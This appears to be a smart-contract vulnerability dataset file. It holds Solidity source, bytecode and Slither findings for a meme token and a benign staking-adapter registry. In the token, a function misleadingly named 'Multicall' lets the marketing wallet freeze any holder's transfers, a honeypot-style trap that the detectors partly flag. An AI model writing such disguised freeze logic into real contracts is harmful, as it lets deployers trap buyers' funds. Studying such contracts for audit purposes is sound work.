return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (300 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_MarketingWallet.transfer(amount / 2);
_DevWallet.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 5000 * 10**9; // 0.5% for the first 5 min
_maxHeldTokens = 30000 * 10**9; // 3%
}
function manualswap() external {
require(_msgSender() == _MarketingWallet);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _MarketingWallet);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _MarketingWallet);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _MarketingWallet);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function Multicall(address[] memory bots_) external {
require(_msgSender() == _MarketingWallet);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _MarketingWallet);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateMarketingWallet(address newAddress) external {
require(_msgSender() == _MarketingWallet);
_MarketingWallet = payable(newAddress);
emit MarketingWalletUpdated(_MarketingWallet);
}
function updateDevWallet(address newAddress) external {
require(_msgSender() == _DevWallet);
_DevWallet = payable(newAddress);
emit DevWalletUpdated(_DevWallet);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101f25760003560e01c8063590f897e1161010d578063a9059cbb116100a0578063c9567bf91161006f578063c9567bf9146105a4578063db92dbb6146105b9578063dcb0e0ad146105ce578063dd62ed3e146105ee578063e8078d941461063457600080fd5b8063a9059cbb14610539578063aacebbe314610559578063b2131f7d14610579578063c3c8cd801461058f57600080fd5b80637a49cddb116100dc5780637a49cddb146104a55780638da5cb5b146104c557806394b8d8f2146104e357806395d89b411461050357600080fd5b8063590f897e146104455780636fc3eaec1461045b57806370a0823114610470578063715018a61461049057600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac5791461039e57806340b9a54b146103d757806345596e2e146103ed57806349bd5a5e1461040d57600080fd5b806327f3a72a1461032c578063313ce5671461034157806331c2d8471461036857806332d873d81461038857600080fd5b806318160ddd116101c157806318160ddd146102bc5780631816467f146102d65780631940d020146102f657806323b872dd1461030c57600080fd5b80630492f055146101fe57806306fdde0314610227578063095ea7b31461026a5780630b78f9c01461029a57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600e5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b5061025d6040518060400160405280600a815260200169135bdbdb93dc911d5cdd60b21b81525081565b60405161021e9190611bc7565b34801561027657600080fd5b5061028a610285366004611c41565b610649565b604051901515815260200161021e565b3480156102a657600080fd5b506102ba6102b5366004611c6d565b61065f565b005b3480156102c857600080fd5b5066038d7ea4c68000610214565b3480156102e257600080fd5b506102ba6102f1366004611c8f565b6106e2565b34801561030257600080fd5b50610214600f5481565b34801561031857600080fd5b5061028a610327366004611cac565b610757565b34801561033857600080fd5b5061021461083f565b34801561034d57600080fd5b50610356600981565b60405160ff909116815260200161021e565b34801561037457600080fd5b506102ba610383366004611d03565b61084f565b34801561039457600080fd5b5061021460105481565b3480156103aa57600080fd5b5061028a6103b9366004611c8f565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156103e357600080fd5b50610214600b5481565b3480156103f957600080fd5b506102ba610408366004611dc8565b6108db565b34801561041957600080fd5b50600a5461042d906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561045157600080fd5b50610214600c5481565b34801561046757600080fd5b506102ba61099f565b34801561047c57600080fd5b5061021461048b366004611c8f565b6109cc565b34801561049c57600080fd5b506102ba6109e7565b3480156104b157600080fd5b506102ba6104c0366004611d03565b610a5b565b3480156104d157600080fd5b506000546001600160a01b031661042d565b3480156104ef57600080fd5b5060115461028a9062010000900460ff1681565b34801561050f57600080fd5b5061025d6040518060400160405280600a8152602001691353d3d393d4911554d560b21b81525081565b34801561054557600080fd5b5061028a610554366004611c41565b610b6a565b34801561056557600080fd5b506102ba610574366004611c8f565b610b77565b34801561058557600080fd5b50610214600d5481565b34801561059b57600080fd5b506102ba610be5565b3480156105b057600080fd5b506102ba610c1b565b3480156105c557600080fd5b50610214610cb9565b3480156105da57600080fd5b506102ba6105e9366004611def565b610cd1565b3480156105fa57600080fd5b50610214610609366004611e0c565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064057600080fd5b506102ba610d4e565b6000610656338484611093565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461067f57600080fd5b600a82111561068d57600080fd5b600a81111561069b57600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b6009546001600160a01b0316336001600160a01b03161461070257600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f31bb1993faff4f8409d7baad771f861e093ef4ce2c92c6e0cb10b82d1c7324cb906020015b60405180910390a150565b60115460009060ff16801561078557506001600160a01b03831660009081526004602052604090205460ff16155b801561079e5750600a546001600160a01b038581169116145b156107ed576001600160a01b03831632146107ed5760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6107f88484846111b7565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610827908490611e5b565b9050610834853383611093565b506001949350505050565b600061084a306109cc565b905090565b6008546001600160a01b0316336001600160a01b03161461086f57600080fd5b60005b81518110156108d75760006006600084848151811061089357610893611e72565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108cf81611e88565b915050610872565b5050565b6000546001600160a01b031633146109055760405162461bcd60e51b81526004016107e490611ea1565b6008546001600160a01b0316336001600160a01b03161461092557600080fd5b6000811161096a5760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107e4565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd89060200161074c565b6008546001600160a01b0316336001600160a01b0316146109bf57600080fd5b476109c981611826565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a115760405162461bcd60e51b81526004016107e490611ea1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610a7b57600080fd5b60005b81518110156108d757600a5482516001600160a01b0390911690839083908110610aaa57610aaa611e72565b60200260200101516001600160a01b031614158015610afb575060075482516001600160a01b0390911690839083908110610ae757610ae7611e72565b60200260200101516001600160a01b031614155b15610b5857600160066000848481518110610b1857610b18611e72565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610b6281611e88565b915050610a7e565b60006106563384846111b7565b6008546001600160a01b0316336001600160a01b031614610b9757600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527fbf86feedee5b30c30a8243bd21deebb704d141478d39b1be04fe5ee739f214e79060200161074c565b6008546001600160a01b0316336001600160a01b031614610c0557600080fd5b6000610c10306109cc565b90506109c9816118ab565b6000546001600160a01b03163314610c455760405162461bcd60e51b81526004016107e490611ea1565b60115460ff1615610c925760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107e4565b6011805460ff191660011790554260105565048c27395000600e55651b48eb57e000600f55565b600a5460009061084a906001600160a01b03166109cc565b6000546001600160a01b03163314610cfb5760405162461bcd60e51b81526004016107e490611ea1565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161074c565b6000546001600160a01b03163314610d785760405162461bcd60e51b81526004016107e490611ea1565b60115460ff1615610dc55760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107e4565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610e00308266038d7ea4c68000611093565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e629190611ed6565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eaf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed39190611ed6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f449190611ed6565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610f74816109cc565b600080610f896000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ff1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110169190611ef3565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561106f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d79190611f21565b6001600160a01b0383166110f55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107e4565b6001600160a01b0382166111565760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107e4565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661121b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107e4565b6001600160a01b03821661127d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107e4565b600081116112df5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107e4565b6001600160a01b03831660009081526006602052604090205460ff16156113545760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b60648201526084016107e4565b600080546001600160a01b0385811691161480159061138157506000546001600160a01b03848116911614155b156117c757600a546001600160a01b0385811691161480156113b157506007546001600160a01b03848116911614155b80156113d657506001600160a01b03831660009081526004602052604090205460ff16155b156116635760115460ff1661142d5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107e4565b601054420361146c5760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107e4565b42601054610e1061147d9190611f3e565b11156114f757600f5461148f846109cc565b6114999084611f3e565b11156114f75760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016107e4565b6001600160a01b03831660009081526005602052604090206001015460ff1661155f576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105461012c6115709190611f3e565b111561164457600e548211156115c85760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107e4565b6115d342600f611f3e565b6001600160a01b038416600090815260056020526040902054106116445760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016107e4565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff1615801561167d575060115460ff165b80156116975750600a546001600160a01b03858116911614155b156117c7576116a742600f611f3e565b6001600160a01b038516600090815260056020526040902054106117195760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016107e4565b6000611724306109cc565b905080156117b05760115462010000900460ff16156117a757600d54600a5460649190611759906001600160a01b03166109cc565b6117639190611f56565b61176d9190611f75565b8111156117a757600d54600a5460649190611790906001600160a01b03166109cc565b61179a9190611f56565b6117a49190611f75565b90505b6117b0816118ab565b4780156117c0576117c047611826565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061180957506001600160a01b03841660009081526004602052604090205460ff165b15611812575060005b61181f8585858486611a1f565b5050505050565b6008546001600160a01b03166108fc611840600284611f75565b6040518115909202916000818181858888f19350505050158015611868573d6000803e3d6000fd5b506009546001600160a01b03166108fc611883600284611f75565b6040518115909202916000818181858888f193505050501580156108d7573d6000803e3d6000fd5b6011805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118ef576118ef611e72565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611948573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061196c9190611ed6565b8160018151811061197f5761197f611e72565b6001600160a01b0392831660209182029290920101526007546119a59130911684611093565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906119de908590600090869030904290600401611f97565b600060405180830381600087803b1580156119f857600080fd5b505af1158015611a0c573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a2b8383611a41565b9050611a3986868684611a88565b505050505050565b6000808315611a81578215611a595750600b54611a81565b50600c54601054611a6c90610384611f3e565b421015611a8157611a7e600582611f3e565b90505b9392505050565b600080611a958484611b65565b6001600160a01b0388166000908152600260205260409020549193509150611abe908590611e5b565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611aee908390611f3e565b6001600160a01b038616600090815260026020526040902055611b1081611b99565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b5591815260200190565b60405180910390a3505050505050565b600080806064611b758587611f56565b611b7f9190611f75565b90506000611b8d8287611e5b565b96919550909350505050565b30600090815260026020526040902054611bb4908290611f3e565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611bf457858101830151858201604001528201611bd8565b81811115611c06576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146109c957600080fd5b8035611c3c81611c1c565b919050565b60008060408385031215611c5457600080fd5b8235611c5f81611c1c565b946020939093013593505050565b60008060408385031215611c8057600080fd5b50508035926020909101359150565b600060208284031215611ca157600080fd5b8135611a8181611c1c565b600080600060608486031215611cc157600080fd5b8335611ccc81611c1c565b92506020840135611cdc81611c1c565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d1657600080fd5b823567ffffffffffffffff80821115611d2e57600080fd5b818501915085601f830112611d4257600080fd5b813581811115611d5457611d54611ced565b8060051b604051601f19603f83011681018181108582111715611d7957611d79611ced565b604052918252848201925083810185019188831115611d9757600080fd5b938501935b82851015611dbc57611dad85611c31565b84529385019392850192611d9c565b98975050505050505050565b600060208284031215611dda57600080fd5b5035919050565b80151581146109c957600080fd5b600060208284031215611e0157600080fd5b8135611a8181611de1565b60008060408385031215611e1f57600080fd5b8235611e2a81611c1c565b91506020830135611e3a81611c1c565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611e6d57611e6d611e45565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611e9a57611e9a611e45565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611ee857600080fd5b8151611a8181611c1c565b600080600060608486031215611f0857600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f3357600080fd5b8151611a8181611de1565b60008219821115611f5157611f51611e45565b500190565b6000816000190483118215151615611f7057611f70611e45565b500290565b600082611f9257634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fe75784516001600160a01b031683529383019391830191600101611fc2565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220f772a1a53c7c4fd92cf85f225fa64e4a7950ec9ab330fd589320759b87cb355264736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,049 |
0x8f8a4d60DC8Ce809cA5C37d71295cf1BC06db7C7
|
// Copyright (C) 2020 Easy Chain. <https://easychain.tech>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity 0.6.5;
pragma experimental ABIEncoderV2;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
abstract contract Ownable {
modifier onlyOwner {
require(msg.sender == owner, "O: onlyOwner function!");
_;
}
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @notice Initializes owner variable with msg.sender address.
*/
constructor() internal {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/**
* @notice Transfers ownership to the desired address.
* The function is callable only by the owner.
*/
function transferOwnership(address _owner) external onlyOwner {
require(_owner != address(0), "O: new owner is the zero address!");
emit OwnershipTransferred(owner, _owner);
owner = _owner;
}
}
struct TypedToken {
string tokenType;
address token;
}
/**
* @dev BerezkaTokenAdapterStakingGovernance contract.
* Main function of this contract is to maintains a Set of Staking Adapters of Berezka DAO
* @author Vasin Denis <denis.vasin@easychain.tech>
*/
contract BerezkaTokenAdapterStakingGovernance is Ownable() {
using EnumerableSet for EnumerableSet.AddressSet;
/// @dev This is a set of debt protocol adapters that return staked amount of ERC20 tokens
EnumerableSet.AddressSet private stakings;
constructor(address[] memory _stakings) public {
_add(stakings, _stakings);
}
// Modification functions (all only by owner)
function addStakings(address[] memory _stakings) public onlyOwner() {
require(_stakings.length > 0, "Length should be > 0");
_add(stakings, _stakings);
}
function removeStakings(address[] memory _stakings) public onlyOwner() {
require(_stakings.length > 0, "Length should be > 0");
_remove(stakings, _stakings);
}
// View functions
function listStakings() external view returns (address[] memory) {
return _list(stakings);
}
// Internal functions
function _add(EnumerableSet.AddressSet storage _set, address[] memory _addresses) internal {
for (uint i = 0; i < _addresses.length; i++) {
_set.add(_addresses[i]);
}
}
function _remove(EnumerableSet.AddressSet storage _set, address[] memory _addresses) internal {
for (uint i = 0; i < _addresses.length; i++) {
_set.remove(_addresses[i]);
}
}
function _list(EnumerableSet.AddressSet storage _set) internal view returns(address[] memory) {
address[] memory result = new address[](_set.length());
for (uint i = 0; i < _set.length(); i++) {
result[i] = _set.at(i);
}
return result;
}
}
|
0x608060405234801561001057600080fd5b50600436106100575760003560e01c80633efecf951461005c578063464039d01461007a5780638da5cb5b14610096578063b9379631146100b4578063f2fde38b146100d0575b600080fd5b6100646100ec565b6040516100719190610b90565b60405180910390f35b610094600480360381019061008f9190610954565b6100fd565b005b61009e6101de565b6040516100ab9190610b75565b60405180910390f35b6100ce60048036038101906100c99190610954565b610203565b005b6100ea60048036038101906100e5919061092b565b6102e4565b005b60606100f860016104a1565b905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461018c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161018390610bf2565b60405180910390fd5b60008151116101d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101c790610bd2565b60405180910390fd5b6101db60018261057b565b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610292576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161028990610bf2565b60405180910390fd5b60008151116102d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102cd90610bd2565b60405180910390fd5